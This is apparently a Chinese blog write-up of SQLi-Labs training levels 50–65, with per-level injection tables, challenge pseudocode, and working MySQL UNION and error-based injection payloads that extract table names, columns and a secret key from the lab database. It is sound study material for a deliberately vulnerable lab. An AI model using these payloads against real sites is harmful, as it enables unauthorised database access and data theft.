和 Less-46 相比,查询方式由 mysql_query 变成了 mysqli_multi_query,因此支持堆叠注入,在注入方面会更加灵活。堆叠注入的话国光这里不再演示,详细细节可以参考 Less-38 的堆叠注入的姿势。

Less-51

请求方式 注入类型 拼接方式
GET 报错、布尔盲注、延时盲注、堆叠注入 ORDER BY '$id'

和 Less-50 相比只是拼接方式发生了变化,实际注入的时候只需做一下对应的闭合即可。

Less-52

请求方式 注入类型 拼接方式
GET 布尔盲注、延时盲注、堆叠注入 ORDER BY $id

和 Less-50 是一样的,只是少了报错注入的利用方式。

Less-53

请求方式 注入类型 拼接方式
GET 布尔盲注、延时盲注、堆叠注入 ORDER BY '$id'

和 Less-51 是一样的,只是少了报错注入的利用方式。

进阶挑战 54-65 关

Less-54

请求方式 注入类型 拼接方式
GET 联合、布尔盲注、延时盲注 id='$id'

简单源码分析:

if reset:
    # 根据时间戳生成 cookie
    setcookie('challenge', ' ', time() - 3600000);

else:
    if cookie 中有 challenge:
        $sessid=$_COOKIE['challenge'];
    else:
        # 生成 cookie 
        $expire = time()+60*60*24*30;
        $hash = data($table,$col);
        setcookie("challenge", $hash, $expire);
    if $_GET['id']:
        计数器 + 1
        $sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
    if 有查询成功:
        输出查询信息
    else:
        啥都不输出

# key 被双重过滤了
$key = addslashes($_POST['key']);
$key = mysql_real_escape_string($key);
$sql="SELECT 1 FROM $table WHERE $col1= '$key'";

代码中可以分享出,得让我们在 10 次注入测试中拿到 key 值。看了源码可以直接联合查询,10 次以内拿到 key 感觉问题不大,那么尝试看看吧:

判断闭合方式

?id=1'--+

判断字段数

?id=1' order by 3--+
?id=1' order by 4--+

查询有可注入的字段

?id=-1' union select 1,2,3 --+

字段数 2,3

查询表名**

?id=-1' union select 1,2,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()) --+

表名为:KMA0E2Z29V ,这个表名可能是随机的 不同用户不一样

查询列名

?id=-1' union select 1,2,(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x4b4d413045325a323956)--+

查到列名如下:id、sessid、secret_1XVB、tryy

查询字段值

?id=-1' union select 1,2,(SELECT+GROUP_CONCAT(secret_1XVB)+FROM+KMA0E2Z29V)--+

拿到 key 值为:UNK985xGrJL5PIWKGogHXo3F

总共只需要 6 步,其中在判断字段数这里有不确定性,理论上 10 步以内是可以正常注入出来的。

Less-55

请求方式 注入类型 拼接方式
GET 联合、布尔盲注、延时盲注 id=($id)

Less-55 给了 14 次尝试机会,代码基本上没有变化,只是闭合方式发生了变化,国光这里不再赘述。

Less-56

请求方式 注入类型 拼接方式
GET 联合、布尔盲注、延时盲注 id=('$id')

和 Less-54 相比只是拼接方式不一样,还是那个姿势,详见 Less-54

Less-57

请求方式 注入类型 拼接方式
GET 联合、布尔盲注、延时盲注 id="$id"

和 Less-54 相比只是拼接方式不一样,还是那个姿势,详见 Less-54

Less-58

请求方式 注入类型 拼接方式
GET 报错、布尔盲注、延时盲注 id='$id'

Less-58 这里相比较于 Less-54 - Less-57 变化还是比较大的,主要有明显区别的代码如下:

$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = ($unames);
echo 'Your Login name : '. $unames[$row['id']];
echo 'Your Password : ' .$pass[$row['id']];

因为这里输出只输出 $unames$pass 数组,pass 数组就是 unames 数组的逆序,所以这里使用联合查询的话是没有效果的,输出不了有用的信息。天无绝人之路,但是下面输出:

print_r(mysql_error());

所以这里就可以进行报错注入,下面直接丢 payload 吧:

?id=1'+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(secret_OD68 )+AS+CHAR),0x7e))+FROM+WOO6ID239T+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)--+

这里国光注入的表名为:WOO6ID239T,列名为:secret_OD68

Less-59

请求方式 注入类型 拼接方式
GET 报错、布尔盲注、延时盲注 id=$id

与 Less-58 的思路一样,只是拼接方式不一样,详见 Less-58

Less-60

请求方式 注入类型 拼接方式
GET 报错、布尔盲注、延时盲注 id=("$id")

与 Less-58 注入方式一致,只是拼接方式不一样罢了,详见 Less-58

Less-61

请求方式 注入类型 拼接方式
GET 报错、布尔盲注、延时盲注 id=(('$id'))

与 Less-58 注入方式一致,只是拼接方式不一样罢了,详见 Less-58

Less-62

请求方式 注入类型 拼接方式
GET 布尔盲注、延时盲注 id=('$id')

此时报错也取消了,这里只能进行布尔盲注或者延时盲注了,这是一个大工程,在实战工程中还是靠 sqlmap 这种自动化注入神器了,手工注入的话岂不是得天荒地老。

Less-63

请求方式 注入类型 拼接方式
GET 布尔盲注、延时盲注 id='$id'

与 Less-62 注入方式一致,只是拼接方式不一样罢了,详见 Less-62

Less-64

请求方式 注入类型 拼接方式
GET 布尔盲注、延时盲注 id=(($id))

与 Less-62 注入方式一致,只是拼接方式不一样罢了,详见 Less-62

Less-65

请求方式 注入类型 拼接方式
GET 布尔盲注、延时盲注 id=("$id")

与 Less-62 注入方式一致,只是拼接方式不一样罢了,详见 Less-62

总结

以前一直没有刷完的题目,通过写博客的方式就逼自己一把刷完了,效果显著 2333,这种学习记录贴会长期记录下去的。实际上 sqlmap 也很强大,尤其是在盲注这一块效率比手工要快很多,但是正如 lcamry 大佬说的一样,一上来就使用工具这样只会变成最垃圾的脚本小子(script kids),所以手工注入还是系统的学习掌握一下的,手工注入在存在联合和报错注入的情况下,注入速度也是不低于 sqlmap 的哦。

参考资料

我来评几句
登录后评论

已发表评论数()

相关站点

+订阅
热门文章